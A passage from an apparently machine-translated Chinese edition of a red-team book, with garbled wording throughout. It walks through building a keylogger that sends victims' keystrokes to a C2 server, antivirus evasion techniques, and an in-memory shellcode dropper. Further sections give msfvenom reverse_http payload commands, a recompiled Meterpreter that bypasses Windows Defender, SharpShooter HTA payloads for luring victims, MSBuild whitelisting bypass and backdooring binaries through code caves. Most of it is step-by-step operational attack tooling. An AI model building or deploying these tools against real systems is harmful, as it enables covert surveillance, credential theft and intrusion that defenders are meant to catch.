在观望框架代码时,需要扎眼的一些事项是,在回调函数中包含pragma comment(预处理指示),音书轮回和复返 CallNextHookEx 行。pragma comment 是用于连气儿 User32 DLL 的编译器指示。 此 DLL 包含将要进行的大多数函数调用,因此需要进行连气儿。它也可以与编译器选项关系联。接下来,如果正在使用 LowLevelKeyboardProc 函数,则必须使用音书轮回。 MSDN 声明,“此钩子在装配它的线程的高下文中调用。 通过向装配了钩子的线程发送音书来进行调用。因此,装配钩子的线程必须有一个音书轮回。“[ ]
复返 CallNextHookEx 是因为 MSDN 声明 “ 调用 CallNextHookEx 函数连气儿到下一个钩子过程是可选的,但激烈建议调用,不然已装配钩子的其他应用步调将不会收到钩子文牍,因此可能会出现诞妄行动。是以你应该调用 CallNextHookEx,除非你一定要阻难其他应用步调看到文牍。“[ ]
接下来,咱们络续构建从文献句柄开首的回调函数的功能。在示例代码中,它将在 Windows 系统的 Temp 目次(C:\Windows\Temp)中创建名为 “log.txt” 的文献。 该文献成立了 append 参数,因为键盘纪录器需要络续地将击键输出到文献。如果此临时文献夹中莫得该文献,则会创建一个同名文献(log.txt)。
回到 KBDLLHOOKSTRUCT结构体,代码声明了一个 KBDLLHOOKSTRUCT 指针,然后将其分配给 lParam。这将允许造访每个按键的 lParam 内的参数。 然后代码检查 wParam 是否复返 WM_KEYDOWN,这将检查按键是否被按下。这样作念是因为钩子会在按下和开释按键时触发。如果代码莫得检查 WM_KEYDOWN,步调将每次写入两次击键。
检查按键被按下后,需要有一个 switch语句,用于检查 lParam 的 vkCode(臆造键代码)是否有特殊键。某些键需要以不同的方式写入文献,举例复返键(Esc),收敛键(Ctrl),移位(shfit),空格(Space)和制表键(Tab)。对于默许情况,代码需要将按键的 vkCode 调换为执行的字母。 践诺此调换的毛糙方法是使用 ToAscii 函数。ToAscii 函数将包含 vkCode,一个 ScanCode,一个指向键盘状态数组的指针,一个指向将接收该字母的缓冲区的指针,以及一个 uFlags 的 int 值。vkCode 和 ScanCode 来自按键结构体,键盘状态是先前声明的字节数组,用于保存输出的缓冲区,uFlags 参数将接济为0。
检查是否开释了某些键詈骂常必要的,举例 shift 键。这可以通过编写另一个 if 语句 来检查 WM_KEYUP,然后使用 switch语句 来检查所需的键来完成。 临了,需要关闭该文献并复返 CallNextHookEx。回调函数如下所示:
https://github.com/cheetz/ceylogger/blob/master/callback此时,键盘纪录器功能完全正常,但依旧有一些问题。第一个是运行步调会产生一个呐喊领导符的窗口,这使得步调运行相称显著,况兼窗口莫得任何领导输出詈骂常可疑的。 另一个问题是将文献放在运行该键盘纪录器的并吞台策动机上并不是很好。
通过使用 Windows 特定的 WinMain 函数进口替换圭臬 C 语言的 Main 函数进口,可以相对容易地拓荒有呐喊领导符窗口的问题。根据我的清醒,之是以有用是因为 WinMain 是 Windows 上图形步调的进口。尽管操作系统盼望你为步调创建窗口,但咱们可以呐喊它不要创建任何窗口,因为咱们有这个控件。最终,该步调只是在后台生成一个程度而不创建任何窗口。
该步调的蚁集编程是毛糙奸险的。最先通过声明 WSAData( ),启动 winsock ,根除领导结构体以及填写关系需求来驱动化 Windows socket 函数。就咱们的示例来说,代码将使用 AF_UNSPEC 用于 IPV4 和 SOC_STREAM 用于 TCP 结合,并使用 getaddrinfo 函数使用先前的需求填充 c2 结构体。在温情扫数必需参数后,可以创建 socket。临了,通过 socket_connect 函数结合到 socket。
结合之后,socket_sendfile 函数将完成大部单干作。它使用 Windows 的 CreateFile 函数打开日记文献的句柄,然后使用 GetFileSizeEx 函数获取文献大小。得回文献大小后,代码将分配该大小的缓冲区,加上一个用于填充的缓冲区,然后将该文献读入该缓冲区。 临了,咱们通过 socket 发送缓冲区的内容。
对于劳动器端,可以在 C2 劳动器的3490 端口上的启动 socat 侦听器,呐喊启动:
socat:socat - TCP4-LISTEN:3490,fork
一朝启动监听器况兼键盘纪录器正在运行,你应该看到来自受害者主机的扫数呐喊每 10 分钟被推送到你的 C2 劳动器。 可以在此处找到键盘纪录器的驱动完整版块1:
https://github.com/cheetz/ceylogger/tree/master/version1 。
在编译 version_1.c 之前,请确保将 getaddrinfo 修改为当前的 C2 的IP 地址。编译代码:
应该提到的临了一个函数是 thread_func 函数。thread_func 调用函数 get_time 来获取当前系统的分钟。然后检查该值是否可被 5 整除,因为该器具每隔 5 分钟发送一次键盘纪录文献。如果它可以被 5 整除,它会接济 socket 并尝试结合到 C2 劳动器。如果结合成功,它将发送文献并运行计帐腹地文献。然后轮回睡觉 59 秒。需要睡眠功能的原因是因为这一切齐在一个固定的轮回中运行,这意味着该函数将在几秒钟内获取时辰,驱动化结合,完成结合和发送文献。如果莫得 59 秒的睡觉时辰,该步调最终可能会在 1 分钟的时辰间隔内发送文献几十次。睡觉功能允许轮回恭候鼓胀长的时辰以便切换到下一分钟,因此每 5 分钟仅发送一次文献。
污染有数百种不同的方法来践诺污染。天然本章不周详部一一讲述,但我想为你提供一些基本的技巧和念念路来惩办绕过杀毒软件的问题。
你可能还是知说念,杀毒软件会查找特定的字符串。可用于绕过杀毒软件的最毛糙方法之一是创建一个毛糙的旋转密码并移动字符串的字符。鄙人面的代码中,有一个解密函数,可以将扫数字符串移动 6 个字符(ROT6)。这会导致杀毒软件可能无法检测到特征码。在步调开首时,代码将调用解密函数来获取字符串数组并将它们复返到原本的体式。解密函数如下所示:
你可以在此处的步调版块2中看到此示例:https://github.com/cheetz/ceylogger/tree/master/version2 。
另一种可以用来逃匿杀毒软件的方法是使用函数指针调用 User32.dll 中的函数,而不是径直调用函数。为此,最先编写一个函数界说,然后使用 Windows 系统的 GetProcAddress 函数找到要调用的函数的地址,临了将函数界说指针指定给从 GetProcAddress 接收的地址。可以在此处找到如何使用函数指针调用 SetWindowsHookEx 函数的示例:https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。
该步调的第 3 版块将前一个示例中的字符串加密与使用指针调用函数的方法相结合。兴趣的是,如果你将已编译的二进制文献提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。鄙人面的图片中,左侧图像是版块1的检测结果,右侧图像是带有调用指针的版块3的检测结果 。
你可以在以下网址找到版块3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。
为明晰解你是否已成功躲闪杀毒软件,最好采纳是弥远针对实时杀毒软件系统进行测试。在真实寰宇的入侵行为中,我不建议使用 VirusTotal 网站,因为你的病毒样本可能会发送给不同的杀毒软件厂商。关联词,它相称适合测试或者学习。对于咱们的 payload,以下是 VirusTotal 比较:
对于版块1,32位,21/66(21家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a62d/detection对于版块3,32位,14/69(14家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762255b7/detection临了,如果咱们将版块3编译为 64 位的 payload,咱们得到 1/69(只是一家检测出)!:
https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175c13c0/detection译者注:根据上头的连气儿,译者点进去看了每一个数据,然则发现数据齐有所更新,是以把上头的内容修改为和连气儿到的内容一致的最新数据。然则底下的图片是书上的原图,是以是老的过时的数据。底下的图片是说,将版块3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,然则现在还是是 1/69,也即是 69 个杀软种有一个可以检测出病毒。
实验:
下一步咱们还可以作念什么呢?有无尽种可能!可以作念一些小的优化比如对 log.txt 内容进行模糊/加密,或者在步调启动后启动加密套接字,然后将得抗拒键权限径直写入该套接字。在接收方,劳动器将重建数据流并将其写入文献。 这将阻难日记数据以纯文骨子式骄贵,就像当前一样,况兼还可以防护在硬盘中留住更多的文献陈迹。
如果你想作念一些大的改进,那么你可以将可践诺文献调换为 DLL,然后将 DLL 注入正在运行的程度。这样可以防护程度信息骄贵在职务管制器中。天然有一些步调可以骄贵系统中扫数当前加载的 DLL,但注入 DLL 会愈加隐敝。此外,有些步调可以反射性地从内存加载 DLL 而根底不在磁盘中留住陈迹(无文献),从而进一步裁减了被取证的风险。
本书定制的挂钩病毒(Dropper)Dropper(挂钩病毒)是红队器具包的浩瀚构成部分,允许你在不把步调放在受害者策动机磁盘上的情况下运行你植入的步调。不将你的植入步调保存在磁盘上会裁减它们被发现的风险,从而可以供你屡次使用开展责任。在本章中,咱们将先容本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。
在瞎想 dropper 和相应的劳动器时,你需要记着一些事项。dropper 的目的是成为你的火器库中的一件用完就葬送的火器,这意味着你必须假设以当前体式使用它将触发进一步行为中的检测。
为了使后续的入侵行为更容易,你需要开发一个可以重迭使用的圭臬劳动器。在该示例中,你将看到一个基本的蚁集斥逐,它允许为不同的音书注册新的处理步调(handler)。天然此示例仅包含 LOAD_BLOB 音书类型的处理步调,但你可以减弱添加新处理步调以推广功能。这样就可以搭建讲究的底层架构,因为你的扫数通讯齐已圭臬化。
编写 dropper 或其他任何你但愿快速找到并进行对其逆向的东西的时候,有个很浩瀚智商即是要计帐你的文本字符串。当你第一次构建软件时,或然你运说念好、调试音书骄贵成功,这使你无需手动单步践诺调试器以观望为什么会出现问题。然则,如果特定的文本字符串在最终版块中被无意地留传住来,将使病毒分析师很容易就可以逆向你的坏心软件。许多时候,反病毒会针对一个惟一无二的特定字符串或一个常量值签名。在示例中,我使用 InfoLog() 和 ErrorLog(),它们的预处理器将在发布版块上编译。使用那些宏,通过检查是否界说了_DEBUG,将指示是否包含关系调用。
本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git
Shellcode 与 DLL在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。日常对于许多群众植入文献,你可以生成一个完整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 径直加载 DLL 将使你无需再进行更多的 API 调用,从而保持更好的隐敝性。由于 header 被修改,某些植入文献可能无法正确加载。如果你的一个植入文献不成正常责任况兼包含一种生成 shellcode 的方法,那么这应该可以惩办你的问题。这是因为它们的自界说加载器日常用于拓荒 header 并从 DLL 加载它。
在网上也可以找到许多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 归档,其中一些可能会为你的入侵行为派上用场。
运行劳动器构建劳动器很毛糙。 在本书自界说的 Kali 镜像上,你需要运行以下呐喊:
对于初度编译:
cd /opt/ sudo apt-get install build-essential libssl-dev cmake git git clone https://github.com/cheetz/thpDropper.git cd thpDropper/thpd mkdir build cd build cmake .. make对于后续编译,你需要作念的即是:
cd /opt/thpd/build make要运行劳动器,在编译它之后,你需要输入:
./thpd [path to shellcode/DLL] [loadtype]以下值当前对加载类型有用:
天然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 器具(Metasploit/Meterpreter,Cobalt Strike 等),然则咱们在示例中只是使用一个 Meterpreter payload。
生成一个 payload :
对于 Shellcode payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f c 扎眼,你必须使用 msfvenom 的输出,况兼只是使用原始的汇编 shellcode(删除引号、新行和任何非 shellcode 的内容)。 启动劳动器:./thpd ./shellcode.txt 0对于 DLL payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f dll > msf.dll 启动劳动器: ./thpd ./msf.dll 1 客户端客户端以与劳动器雷同的方式运行,其中它为每种音书类型注册了一个处理步调(handler)。在启动时,它将尝试回调劳动器,如果无法结合或一朝断开结合则重试 n 次,并发送音书要求加载 blob 对象。劳动器将使用 BLOB_PACKET 进行响应,客户端将通过 head--> msg 字段识别并分配该 BLOB_PACKET。扫数数据包必须在开首时界说 HEAD_PACKET 字段,不然蚁集处理步调将无法识别它,并将其丢弃。 使用 BuildPacketAndSend() 函数将正确接济头数据包,允许另一方解码它。
要构建客户端,你需要使用 Visual Studio 和 Git 。 最先将 Git 仓库( https://github.com/cheetz/thpDropper.git )克隆到一个文献夹中,然后在 Visual Studio 中打开 thpDropper.sln。确保为代码接济了正确的体绑缚构,如果你不需要任何调试信息,请将编译模式接济为build for release。完成此操作后,按 F7 键(编译快捷键),Visual Studio 会为你生成可践诺文献。
成立客户端和劳动器在 globals.cpp 文献中可以观望大多数客户端的成立,你想要调动的三个主要成立接济是主机名、端口和数据包时辰间隔。每个接济旁齐有详备的谛视,告诉你它们是什么。天然你不需要调动数据包签名,但我照旧得说一下:调动数据包签名将修改发送的每个数据包的前 2 个字节,用于象征它是劳动器上的有用结合。如果你但愿对 IP 和端口进行模糊处理,则可以编写代码以在造访它们时对其进行解密,并仅将加密版块存储在二进制文献中。
在劳动器端,在 main.cpp 文献中,你可以修改劳动器正在监听的端口。此成立在 main 函数中作为 StartupNetworking() 的唯一参数。如果你决定调动客户端中的数据包签名,则需要修改劳动器以响应该数据包。这意味着在 include/lib/networking.h 文献中,PACKET_SIGNATURE 值要与客户端中的全局变量相匹配。
添加新的处理步调接济蚁集代码库可以允许你减弱地添加新功能。为此,你需要使用客户端上的 void name() 原型或劳动器上的 void name(int conn) 原型来创建一个回调函数。这些将被注册到你的音书类型的处理步调数组,况兼在验证头数据包时调用它们。在这些函数中,你必须从 recv 缓冲区中读取包和关总共据。你需要调用 recv() 来指向数据包结构上的指针,以及该数据包的大小。这将提供对于需要从 recv 缓冲区中拉取几许数据的信息。在这个例子中,你将看到咱们在处理步调中读取 BLOB_PACKET ,然后使用存储在 packet.payloadLen 中的值来指示咱们需要进一步读取的字节数。同样的旨趣可以应用于其他的数据类型。如果要将包含文献旅途的字符串发送到受害者策动机上的某个文献,你需要在处理步调的数据包中接济一个字段,用于描绘字符串的长度,你将在发送完数据包之后发送该字符串。
进一步老到天然此代码库还是可以为你的责任提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较径直的念念路是在传输层上加一个毛糙的加密层。你可能但愿创建我方的 send 和 recv 包装器,用于在调用 send 和 recv 函数之前进行解密/加密。一种相称毛糙的斥逐方法是使用多字节异或密钥,天然不是很安全,但至少会充分的改变你的音书,使之不易识别。另一个可能的念念路是推广 LoadBlobHandler() 函数,使之具有新的 LOAD_TYPE。使用这种新 LOAD_TYPE 的话,如果客户端以管制员身份运行,就会加载已签名的驱动步调。这可以通过使用 CreateService() 和 StartService() 这两个 Windows API 调用来完成。然则需要记着加载驱动步调需要它在磁盘上,这将触发文献系统的袖珍过滤器驱动步调来获取它。
从头编译 Metasploit/Meterpreter 以绕过杀毒软件和蚁集检测我的确很想谈谈这个话题。但请扎眼,这将会有一些超前,是以你很可能在编译期间遭遇一些问题。有许多很棒的器具,比如 Metasploit / Meterpreter,然则每个防病毒和蚁集入侵检测(NID)器具齐为它开发了签名。咱们可以尝试使用 Shikata Ga Nai 来污染通过 HTTPS 传输的 payload,但也仅此汉典。任何类型的污染日常齐会有一个检测的存根签名,杀毒软件会检查内存,观望特定某些位置的特殊字符串。蚁集流量可以通过 HTTPS 践诺中间东说念主检查。那么咱们怎样才能络续使用咱们心爱的器具,同期绕过扫数常见的保护措施呢?让咱们以 Metasploit/Meterpreter 为例,望望咱们如何绕过扫数这些难得。咱们的主义是处理和惩办二进制文献的杀毒软件签名(静态特征),内存运行中的特征和蚁集流量特征。
为了逃避扫数这些检测方法,咱们需要作念一些事情。最先,咱们需要修改 Meterpreter 的 payload,以确保不会在蚁集和内存中使用签名减弱检测到它们。其次,咱们修改 metsvc 耐久性模块以防护它标记反病毒。第三,咱们用 Clang 编译部分 metsrv(执行的 Meterpreter payload),以防护它也标记反病毒签名。临了,咱们将编写我方的 stage0 payload,下载并践诺 Meterpreter,以绕过扫数的反病毒。
使用 Clang 编译 metsrv( Meterpreter 的蚁集劳动包装器)并删除 metsrv/metsvc-server 援用:
修改Payload,删除像 Mimikatz这样的字符串:
修改反射 DLL 注入以删除像 ReflectiveLoader 这样的字符串:
许多蚁集家具会检测 Meterpreter 的0/1/2级加载器。除了污染咱们的 payload,咱们还可以污染执行的 shellcode。一个例子是遍历扫数 Ruby 文献以获取不同的 payload 类型,并添加随机空指示滑行区(nop sled)以幸免被检测到:
译者注:一个空指示雪橇(NOP sled)(也被称为空指示滑行区)是在 shellcode 之前的一段很长的指示序列。参考贵府: 空指示雪橇
自界说 Stage0 payload:
实验:
在本实验中,咱们将领受扫数咱们修悛改的 Metasploit/Meterpreter 代码,从头编译它,并确保它可以逃避基本的杀毒软件检测。
在开首之前,请观望搭建 Metasploit 的环境接济:
https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-EnvironmentWindows 要求:
Visual Studio 2013(VS2013)—— 社区版就行。需要随装配时一并装配 C/C++。 LLVM 32位 Windows版块(一定要在装配完 VS 之后再装配 LLVM 而且一定要装配 LLVM 器具链) —— 在此地址下载 LLVM 6。 Windows 版块的 GNU make 器具步调 —— 确保它位于你的旅途中,或者从它的可用的已装配旅途运行它。 Git-SCM 如安在 Windows 上构建(build) Metasploit/Meterpreter:最先拉取扫数的 cyberspacekitten 仓库。这些文献还是针对你的实验进行了大批修改来作为 POC。然后咱们需要下载框架和扫数 payload:
git clone https://github.com/cyberspacekittens/metasploit-framework cd metasploit-framework && git submodule init && git submodule update && cd .. git clone https://github.com/cyberspacekittens/metasploit-payloads cd metasploit-payloads && git submodule init && git submodule update && cd ..天然咱们还是对仓库作念了包括修改字符串、用 clang 编译和为 payload 添加随机空指示滑行区等这些调动,但请务必检查这两个仓库之间的 Metasploit 互异,以明确具体的调动内容。
编译 Metasploit/Meterpreter:咱们要作念的第一件事情是从头编译咱们调动后的 metsvc 和 metsvc-server。在 Visual Studio 2013 的开发者呐喊领导符 VS2013(Command Prompt for VS2013)中践诺以下操作:
转到咱们修改的 metsvc 的源码所在的文献夹: cd metasploit-framework\external\source\metsvc\src 使用 make 进行编译: “C:\Program Files (x86)\GnuWin32\bin\make.exe”将咱们新创建的二进制文献移到咱们的 meterpreter 文献夹:
copy metsvc.exe ........\data\meterpreter\ copy metsvc-server.exe ........\data\meterpreter\接下来,修改咱们的 Meterpreter payload 并使用提供的 .bat 文献对其进行编译:
cd metasploit-payloads\c\meterpreter make.bat编译完扫数内容后,将生成两个文献夹(x86 和 x64)。将扫数已编译的 DLL 复制到 meterpreter 文献夹:
copy metasploit-payloads\c\meterpreter\output\x86* metasploit-framework\data\meterpreter copy metasploit-payloads\c\meterpreter\output\x64* metasploit-framework\data\meterpreter临了即是要放到劳动器上了。咱们现在可以将通盘 metasploit-framework 文献夹放到你的 Kali 系统上并启动 HTTPS 反向处理步调(windows/x64/meterpreter/reverse_https)。
创建一个修改后的 Stage 0 Payload咱们需要作念的临了一件事是创建一个 Stage 0 payload 来让咱们的驱动可践诺文献绕过扫数杀毒软件检测。Meterpreter 中的 stage 0 payload 是任何疏忽应用或 payload 的第一阶段。 stage 0 payload 是一段代码,它斥逐了一个毛糙的功能:以咱们想要的方式(reverse_https,reverse_tcp,bind_tcp 等)进行结合或者监听,然后接收一个 metsrv.dll 文献。它随后将此文献加载到内存中,然后践诺它。从本质上讲,任何 Stage 0 payload 齐只是一个好意思化的“下载并践诺” payload,因为这即是扫数的 Metasploit 运行的方式,是以在许多反病毒惩办有运筹帷幄中齐有针对 Metasploit 特定行动的高等签名和启发式分析——哪怕修改 shellcode 并添加花指示也仍然会因启发式分析而被标记为坏心。为了惩办这个问题,咱们编写了我方的 Stage 0,它践诺同样的功能(在内存中下载和践诺):咱们复制 Meterpreter 的 reverse_https payload 的下载调用,从劳动器获取 metsrv.dll,然后将其注入到内存中并践诺它。
译者注:
在 metasploit 里面,payload 毛糙可以分为三类:single,stager,stage。 single:斥逐单一、完整功能的 payload,比如说 bind_tcp 这样的功能。 stager 和 stage 就像 web 入侵里面提到的小马和大马一样。由于 exploit 环境的收敛,可能不成一下子把 stage 传昔时,需要先传一个 stager,stager 在障碍者和障碍主义之间建立蚁集结合,之后再把 stage 传昔时进行下一步的行动。Reflective DLL Injection 即是作为一个 stage 存在。也即是说,你还是有了和障碍主义之间的结合会话,你可以传送数据到障碍主义上,之后 meterpreter 与 target 之间的交互就齐是和发送昔时的反射 dll 进行交互。参考贵府: Meterpreter 载荷践诺旨趣分析
对于 stage 0 了解更多: 探寻 Metasploit Payload 模式背后的微妙这里提供的 payload 具体示例具有一些更高等的功能。这样作念是为了使它成为地址无关代码(PIC),况兼不需要导入。这段代码是基于 thealpiste 的代码开发的 ( https://github.com/thealpiste/C_ReverseHTTPS_Shellcode )。
提供的示例 payload 践诺以下操作:
扫数代码齐在内存中定位 DLL 和函数以便践诺;无需导入任何模块。这是通过手动为扫数使用的函数打桩,然后在内存中搜索它们来斥逐的。 使用 Wininet 将执行的 HTTPS 苦求践诺回成立的 Metasploit 处理步调。 接收 metsrv.dll,并践诺 blob 数据。Metasploit 为这些文献提供劳动的方式,意味着进口点是缓冲区的开始。这个功能是与践诺 msfvenom 中构建的 payload 完全同样的过程。关联词,msfvenom 以一种容易被预测和检测到的方式将这些添加到模板可践诺步调中,况兼这种方式是不可成立的。因此,大多数杀毒软件一直可以识别到它们。然则,只是需要一丝编码技巧,你就可以从头编写这个 payload 的功能。重写的 payload 很小,况兼可以绕过当前存在的任何检测。在撰写本文时,还是测得此 payload 可以绕过扫数杀毒软件,包括 Windows Defender。
创建 payload(完整的 payload 位于这里):
在 VS 2013中,打开 metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj 在 x64_defender_bypass 下有一个 settings.h 文献。打开此文献并将 HOST 和 PORT 信息修改为你的 Meterpreter 处理步调(handler)信息。 确保将构建模式接济为 Release 并编译 x64 保存并构建 在 metasploit-payloads\c\x64_defender_bypass\x64\Release 下,将创建一个新的二进制文献 x64_defender_bypass.exe。在运行了 Windows Defender 的受害策动机上践诺此 payload。当此样子构建成功,Windows Defender 不成检测到这个 payload。你现在领有一个深度污染过的 Meterpreter 二进制文献和污染过的传输层,以绕过扫数默许的保护。现在这只是是一个让你初学的 POC。只须本书一发布,我可以预感到其中一些时期不久就会被检测出签名。你还可以采取更多措施来更好地遁藏检测器具。举例,你可以:
使用 clang 污染器具链来构建 对扫数字符串使用字符串加密库 调动 Meterpreter 进口点(咫尺是 Init ) 创建一个自动化剧本,为扫数 payload 类型添加空指示(nops) 剪辑 payload 生成的执行 ruby,以便在每次运行时随机化 payload SharpShooter作为红队队员,最耗时的事情之一即是创建可以逃避新一代杀毒软件和沙盒安全机制的 payload。咱们一直在寻找新的方法来创建咱们的驱动 stager。一个名为 SharpShooter 的器具领受了许多反沙盒时期和 James Forshaw 的 DotNetToJScript 来践诺 Windows 剧本样子的 shellcode(CACTUSTORCH器具—— https://github.com/mdsecactivebreach/CACTUSTORCH )。
摘自 MDSec 网站对于 SharpShooter 的描绘:“SharpShooter 救助 staged 和 stageless 这两种类型 payload 的践诺。staged 践诺可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相结合等这些情况下进行。当一个 staged payload 践诺时,它将尝试检索还是压缩的 C# 源代码文献,之后使用所选的传输时期进行 base64 编码。随后在主机上使用 .NET CodeDom 动态编译器对 C# 源代码进行下载和编译。然后使用反射从源代码践诺所需的方法。”
让咱们快速把一个示例走一遍:
python SharpShooter.py --interactive 1 - For .NET v2 Y - Staged Payload 1 - HTA Payload 可以采纳使用以下防沙盒时期: 你可以采纳你想用的时期来绕过沙盒机制从而成功的践诺你的坏心软件。 [1] Key to Domain [2] 确保 Domain 加入 [3] 检查沙盒陈迹 [4] 检查诞妄的 MAC 地址 [5] 检查调试 1 - 蚁集传输 Y - 内置 shellcode 模板 shellcode 作为一个字节数组 打开一个新终局并创建一个 C# 语言的 Meterpreter payload msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp 复制 { 和 } 之间的扫数内容并作为字节数组提交 为 C# 蚁集传输提供 URI 输入障碍者机器的IP/端口和文献。示例: 提供输出文献的文献名 坏心软件 Y - 你想将 payload 镶嵌到 HTML 文献中吗? 使用自界说(1)或预界说(2)模板 要进行测试,请采纳苟且预界说模板 将新创建的坏心文献移动到你的 Web 目次下 mv output/* /var/www/html/ 为你的 payload 建立一个 Meterpreter 处理步调(handler)成立和开发了坏心软件后,将其移至 Web 目次(malware.hta,malware.html,malware.payload),启动 apache2 劳动,然后启动你的 Meterpreter 处理步调。你现在还是作念好准备,通过诱导受害者造访你的坏心站点来对其发动社会工程学障碍!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器造访你的坏心网页时,HTA 会自动下载并领导运行。一朝骄贵了领导并采纳运行的话,stager payload 就会运行,下载辅助 payload(温情沙箱控件的情况下),并在内存中践诺咱们的 Meterpreter payload。
补充信息:
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/ https://github.com/mdsecactivebreach/SharpShooter 应用步调白名单绕过咱们还是谋划了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上运行自界说二进制文献,该如何办?“应用绕过”的倡导即是查找可以践诺咱们 payload 的默许 Windows 二进制文献。咱们一直受限于一些环境身分比如域控(DC)的锁定机制,只可进行有限的代码践诺。咱们可以使用一些不同的 Windows 文献来绕过这些收敛,让咱们来望望它们中的几个。
一个通常被谋划的可以用于绕过应用白名单的 Windows 二进制文献是 MSBuild.exe。什么是 MSBuild.exe,它有什么作用? MSBuild 是 .NET 框架中的一个默许应用,它是使用 XML 样子的样子文献构建 .NET 应用步调的平台。咱们可以对 MSBuild 使用 XML 样子文献样子这个秉性进行应用,咱们可以使用名为 GreatSCT 的器具创建咱们我方的坏心 XML 样子文献来践诺 Meterpreter 会话,从而应用此秉性。
GreatSCT 有咱们可以使用的各式应用白名单绕过的方式,但咱们只将先容 MSBuild。在此示例中,咱们将创建一个托管 reverse_http Meterpreter 会话的坏心 XML 文献。这将要求咱们将 XML 文献写入受害系统并使用 MSBuild 来践诺该 XML 文献:
git clone https://github.com/GreatSCT/GreatSCT.git /opt/ cd /opt/GreatSCT python3 ./gr8sct.py [4] MSBUILD/msbuild.cfg 填写你的主机IP[0]和端口[1] 生成 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器在咱们的 Kali 实例中,咱们使用 GreatSCT 来创建 shellcode.xml 文献,该文献包含构建信息和一个 Meterpreter 反向 http shell。需要将此文献移动到受害系统并使用 MSBuild 进行调用。
*扎眼:我不雅察到 GreatSCT 样子正在 develop 分支上进行活跃的开发,其中包括 https Meterpreter 和其他应用步调白名单绕过呐喊践诺。我猜想在本书发布之前,就会被合并到 master 分支。
在 Windows 受害者策动机上践诺文献调用后,使用 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml 呐喊,.NET 将开首构建 shellcode.xml 文献。在此过程中,将在受害者策动机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能但愿剪辑 shellcode.xml 文献以插入经过污染的 payload,因为 Meterpreter 默许的 payload 很可能会触发杀毒软件。
可以使用许多种不同的方法来进行应用步调白名单绕过,光这一部天职容就足以写成一册书。以下是一些额外的贵府:
使用 Windows 默许可践诺文献的大批示例: https://github.com/api0cradle/UltimateAppLockerByPassList 使用 REGSRV32 和 PowerShell Empire: https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/ 通过 Excel.Application 的 RegisterXLL() 方法践诺 DLL: https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/ 应用 INF-SCT 获取并践诺绕过、遁藏查杀和耐久化时期: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ 应用 Regsvr32 绕过 Applocker: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ 代码洞(Code Caves)与任何红队行动一样,咱们一直在寻找创造性的方式在环境中横向移动或保持耐久性。日常,如果咱们有凭证,咱们会尝试使用 WMI 或 PSExec 在长途系统上践诺 payload。有些时候,咱们需要找到创造性的方式在环境中移动而不被纵容追踪。
作为红队队员,被收拢并不是入侵行动中可能发生的最恶运的事情。最恶运的事情是当咱们被收拢况兼蓝队发现了属于该行动的每个域、IP 和受感染的主机。蓝队东说念主员日常很容易就能检测到 WMI、PSexec 的结合特征来判定内网有横向移动,因为它并不老是被视为正常流量。那么咱们可以作念些什么来荫藏咱们的横向移动呢?
这是咱们可以阐述创造性的地点,莫得圭臬谜底(如果某种方法有用,那对我来说就够好了)。一朝进入一个环境,我最心爱作念的事情之一即是发现公开分享和主动分享/践诺的文献。咱们可以尝试将宏添加到 Office 文献中,但这似乎太显著了。一种日常不太容易被检测出况兼成功率高的障碍是将咱们的自界说坏心软件镶嵌可践诺二进制文献中。这可以是像 putty 这样的分享二进制文献,一个内网环境中常见的胖客户端应用步调,以至是数据库器具。
天然不再重视,但践诺这些障碍最毛糙的器具之一是 Backdoor factory。Backdoor factory 会在真实步调中查找代码洞或空块,障碍者可以在其中注入我方的坏心 shellcode。上本书中涵盖了这一丝,其念念路保持不变。
可以在此处找到这两个资源:
https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html译者注:教导证,上两个连气儿齐还是404了。然则译者照旧浮滑的找到了不同网址同内容的替代资源。对于第一个网址连气儿的著述,可以在腹地址阅读该英文著述来观望 Code Caves 这一部分。对于第二篇著述,险些齐404了。然则我找到了此文的出处:Introduction-To-Manual-Backdooring 这本电子书。需要的自取。
